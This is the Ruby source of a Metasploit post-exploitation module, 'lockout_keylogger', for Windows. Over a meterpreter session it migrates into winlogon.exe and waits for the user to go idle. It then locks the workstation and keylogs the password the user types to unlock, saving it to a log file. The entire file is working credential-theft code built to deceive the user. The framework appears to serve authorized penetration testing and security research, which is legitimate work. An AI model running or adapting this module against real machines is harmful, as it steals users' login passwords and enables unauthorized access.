modules/post/windows/capture/lockout_keylogger.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',
'Description' => %q{
This module migrates and logs Microsoft Windows user's passwords via
Winlogon.exe using idle time and natural system changes to give a
false sense of security to the user.
},
'License' => MSF_LICENSE,
'Author' => [ 'mubix', 'cg' ],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'References' => [['URL', 'http://blog.metasploit.com/2010/12/capturing-windows-logons-with.html']],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_migrate
stdapi_railgun_api
stdapi_sys_process_get_processes
stdapi_sys_process_getpid
stdapi_ui_get_idle_time
stdapi_ui_get_keys_utf8
stdapi_ui_start_keyscan
stdapi_ui_stop_keyscan
]
}
}
)
)
register_options(
[
OptInt.new('INTERVAL', [true, 'Time between key collection during logging', 30]),
OptInt.new('HEARTBEAT', [true, 'Heart beat between idle checks', 30]),
OptInt.new('LOCKTIME', [true, 'Amount of idle time before lockout', 300]),
OptInt.new('PID', [false, 'Target PID, only needed if multiple winlogon.exe instances exist', nil]),
OptBool.new('WAIT', [true, 'Wait for lockout instead of default method', false])
]
)
end
def check_admin
status = client.railgun.shell32.IsUserAnAdmin()
return status['return']
end
def get_winlogon
winlogon = []
session.sys.process.get_processes.each do |x|
if x['name'].downcase == 'winlogon.exe'
winlogon << x
end
end
if winlogon.empty?
print_status('Winlogon not found! Exiting')
return 'exit'
elsif winlogon.size == 1
return winlogon[0]['pid']
else
print_error('Multiple WINLOGON processes found, run manually and specify pid')
print_error('Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session')
winlogon.each do |tp|
print_status("Winlogon.exe - PID: #{tp['pid']} - Session: #{tp['session']}")
end
return 'exit'
end
end
# Function for starting the keylogger
def startkeylogger(session)
print_status('Starting the keystroke sniffer...')
session.ui.keyscan_start
return true
rescue StandardError
print_error('Failed to start Keylogging!')
return false
end
# Function for Collecting Capture (pulled from Carlos Perez's Keylogrecorder)
def keycap(session, keytime, logfile)
rec = 1
# Creating DB for captured keystrokes
print_status("Keystrokes being saved in to #{logfile}")
# Inserting keystrokes every number of seconds specified
print_status('Recording ')
while rec == 1
# getting Keystrokes
data = session.ui.keyscan_dump
outp = ''
data.unpack('n*').each do |inp|
fl = (inp & 0xff00) >> 8
vk = (inp & 0xff)
kc = VirtualKeyCodes[vk]
f_shift = fl & (1 << 1)
f_ctrl = fl & (1 << 2)
f_alt = fl & (1 << 3)
if kc
name = (((f_shift != 0) && (kc.length > 1)) ? kc[1] : kc[0])
case name
when /^.$/
outp << name
when /shift|click/i
when 'Space'
outp << ' '
else
outp << " <#{name}> "
end
else
outp << ' <0x%.2x> ' % vk
end
end
select(nil, nil, nil, 2)
file_local_write(logfile, "#{outp}\n")
if !outp.nil? && (outp.chomp.lstrip != '')
print_status("Password?: #{outp}")
end
still_locked = 1
# Check to see if the screen saver is on, then check to see if they have logged back in yet.
screensaver = client.railgun.user32.SystemParametersInfoA(114, nil, 1, nil)['pvParam'].unpack('C*')[0]
if screensaver == 0
still_locked = client.railgun.user32.GetForegroundWindow()['return']
end
if still_locked == 0
print_status('They logged back in, the last password was probably right.')
raise 'win'
end
currentidle = session.ui.idle_time
if screensaver == 0
print_status("System has currently been idle for #{currentidle} seconds and the screensaver is OFF")
else
print_status("System has currently been idle for #{currentidle} seconds and the screensaver is ON")
end
select(nil, nil, nil, keytime.to_i)
end
rescue ::Exception => e
if e.message != 'win'
print_line
print_status("#{e.class} #{e}")
end
print_status('Stopping keystroke sniffer...')
session.ui.keyscan_stop
end
def run
# Log file variables
host = session.session_host
port = session.session_port
filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create Filename info to be appended to downloaded files
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker') # Create a directory for the logs
::FileUtils.mkdir_p(logs) # Create the log directory
logfile = logs + ::File::Separator + host + filenameinfo + '.txt' # Logfile name
# Make sure we are on a Windows host
if client.platform != 'windows'
print_error('This module does not support this platform.')
return
end
# Check admin status
admin = check_admin
if admin == false
print_error('Must be an admin to migrate into Winlogon.exe, exiting')
return
end
mypid = session.sys.process.getpid
if datastore['PID'] == 0
targetpid = get_winlogon
if targetpid == 'exit'
return
end
print_status("Found WINLOGON at PID:#{targetpid}")
else
targetpid = datastore['PID']
print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you...")
end
if mypid == targetpid
print_status('Already in WINLOGON no need to migrate')
else
print_status("Migrating from PID:#{mypid}")
begin
session.core.migrate(targetpid)
rescue StandardError
print_error('Unable to migrate, try getsystem first')
return
end
print_good("Migrated to WINLOGON PID: #{targetpid} successfully")
end
# Override SystemParametersInfo Railgun call to check for Screensaver
# Unfortunately 'pvParam' changes it's type for each uiAction so
# it cannot be changed in the regular railgun defs
client.railgun.add_function('user32', 'SystemParametersInfoA', 'BOOL', [
['DWORD', 'uiAction', 'in'],
['DWORD', 'uiParam', 'in'],
['PBLOB', 'pvParam', 'out'],
['DWORD', 'fWinIni', 'in']
])
print_good("Keylogging for #{client.info}")
file_local_write(logfile, "#{client.info}\n")
if datastore['WAIT']
print_status('Waiting for user to lock out their session')
locked = false
while locked == false
if client.railgun.user32.GetForegroundWindow()['return'] != 0
locked = true
print_status('Session has been locked out')
else
# sleep(keytime.to_i) / hardsleep applied due to missing loging right after lockout.. no good way to solve this
select(nil, nil, nil, 2)
end
end
else
currentidle = session.ui.idle_time
print_status("System has currently been idle for #{currentidle} seconds")
while currentidle <= datastore['LOCKTIME']
print_status("Current Idle time: #{currentidle} seconds")
select(nil, nil, nil, datastore['HEARTBEAT'])
currentidle = session.ui.idle_time
end
client.railgun.user32.LockWorkStation()
if client.railgun.user32.GetForegroundWindow()['return'] == 0
print_error('Locking the workstation falied, trying again..')
client.railgun.user32.LockWorkStation()
if client.railgun.user32.GetForegroundWindow()['return'] == 0
print_error('The system will not lock this session, nor will it be used for user login, exiting...')
return
else
print_status('Locked this time, time to start keyloggin...')
end
end
end
if startkeylogger(session)
keycap(session, datastore['INTERVAL'], logfile)
end
end
end